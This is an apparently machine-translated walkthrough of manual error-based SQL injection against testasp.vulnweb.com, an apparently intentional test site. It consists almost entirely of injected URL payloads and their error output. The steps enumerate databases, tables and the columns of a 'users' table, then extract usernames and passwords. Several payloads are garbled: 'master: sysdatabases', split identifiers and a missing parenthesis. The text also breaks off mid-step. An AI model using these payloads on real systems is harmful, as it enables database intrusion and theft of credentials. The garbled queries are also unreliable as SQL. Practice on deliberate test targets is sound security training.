SQL Server Manual Injection

SQL Server Manual Injection

Test Site Testasp.vulnweb.com

1.

Http://testasp.vulnweb.com/showforum.asp?id=0

Http://testasp.vulnweb.com/showforum.asp?id=0 '

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1=1

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2

2. Database version

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (SELECT @ @version)

3. Database name

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select Db_name ())

4. First database

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select top 1 name from master: sysdatabases where dbid>4)

Returns conversion failed when converting the nvarchar value ' acublog ' to data type int

5.

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select top 1 name from master: sysdatabases where dbid>4 and name<> ' Acublog ')

Returns conversion failed when converting the nvarchar value ' acuforum ' to data type int

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select top 1 name from master: sysdatabases where dbid>4 and name<> ' Acublog ' and name<> ' Acuforum ')

Returns conversion failed when converting the nvarchar value ' acuservice ' to data type int.

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select top 1 name from master: sysdatabases where dbid>4 and name<> ' Acublog ' and name<> ' acuforum ' and name<> ' Acuservice ')

Returns either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.

That's a few databases.

6. Get the table name

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select top 1 name from sysobjects where xtype= ' u ')

Returns conversion failed when converting the nvarchar value ' threads ' to data type int.

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select top 1 name from sysobjects where xtype= ' u ' and name<> ' t Hreads ')

Return conversion failed when converting the nvarchar value ' users ' to data type int

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select top 1 name from sysobjects where xtype= ' u ' and name<> ' t Hreads ' and name<> ' users ')

Returns conversion failed when converting the nvarchar value ' forums ' to data type int.

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select top 1 name from sysobjects where xtype= ' u ' and name<> ' t Hreads ' and name<> ' users ' and name<> ' forums ')

Returns conversion failed when converting the nvarchar value ' posts ' to data type int.

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select top 1 name from sysobjects where xtype= ' u ' and name<> ' t Hreads ' and name<> ' users ' and name<> ' forums ' and name<> ' posts ')

Returns either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.

Column names for 7.users

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select top 1 name from syscolumns where id= (select id from sysobjects where name = ' users ')

Returns conversion failed when converting the nvarchar value ' uname ' to data type int.

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select top 1 name from syscolumns where id= (select id from sysobjects where name = ' users ') and name<> ' uname ')

Returns conversion failed when converting the nvarchar value ' upass ' to data type int.

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select top 1 name from syscolumns where id= (select id from sysobjects where name = ' users ') and name<> ' uname ' and name<> ' UPass ')

Returns conversion failed when converting the nvarchar value ' e-mail ' to data type int.

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select top 1 name from syscolumns where id= (select id from sysobjects where name = ' users ') and name<> ' uname ' and name<> ' UPass ' and name<> ' email ')

Returns conversion failed when converting the nvarchar value ' realname ' to data type int.

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select top 1 name from syscolumns where id= (select id from sysobjects where name = ' users ') and name<> ' uname ' and name<> ' UPass ' and name<> ' email ' and name<> ' Realna Me ')

Returns conversion failed when converting the nvarchar value ' avatar ' to data type int.

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select top 1 name from syscolumns where id= (select id from sysobjects where name = ' users ') and name<> ' uname ' and name<> ' UPass ' and name<> ' email ' and name<> ' Realna Me ' and name<> ' Avatar ')

Returns either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.

Column name of the Forums

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select top 1 name from syscolumns where id= (select id from sysobjects WHERE name = ' Forums '))

8.

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select top 1 uname from users)

Returns conversion failed when converting the nvarchar value '--' to data type int.

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select top 1 upass from users)

Returns conversion failed when converting the nvarchar value ' none ' to data type int.

Http://testasp.vulnweb.com/showforum.asp?id=0 and 1= (select top 1 uname from users where ID =2)

Return

SQL Server Manual Injection